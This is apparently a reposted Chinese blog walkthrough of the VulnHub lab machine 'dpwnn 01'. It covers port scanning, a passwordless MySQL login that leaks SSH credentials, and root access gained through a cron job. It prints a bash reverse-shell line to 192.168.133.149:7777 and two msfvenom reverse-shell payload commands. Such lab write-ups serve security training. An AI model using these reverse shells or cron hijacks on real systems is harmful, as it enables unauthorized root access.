vulnhub靶机测试--dpwnn 01
作者:互联网
目录
信息收集
主机发现
端口扫描
80 http服务;22 ssh;3306 MySQL。
目录扫描
就一个info.php
漏洞发现及利用
访问80端口:
访问info.php:
给出了phpinfo信息。但是没有什么可以利用的点。
web端其实没什么东西。
访问3306端口,连接MySQL:
直接弱口令(其实没有密码,直接进来。。。。。。)
正常操作,获得账号信息:
获得ssh账号密码。
进行连接:
提权
使用sudo查看suid权限的命令:
使用find命令,查看suid权限:
这个环境用不了wget,下载不了一些提权脚本:
查看定时任务:
/etc/crontab
每3分钟以root身份执行脚本。
在脚本中写入反弹shell的命令,以root身份反弹shell:
bash -i >& /dev/tcp/192.168.133.149/7777 0>&1
kali进行监听:
提权成功。
或者使用msfvenon:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.133.149 LPORT=7777
msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.133.149 LPORT=7777
总结
web端没有什么利用点,mysql没有密码。。确实没想到。
主要也就是了解了定时任务。
标签:端口扫描,01,133.149,--,192.168,7777,提权,vulnhub,MySQL 来源: https://blog.csdn.net/qq_45742511/article/details/115145065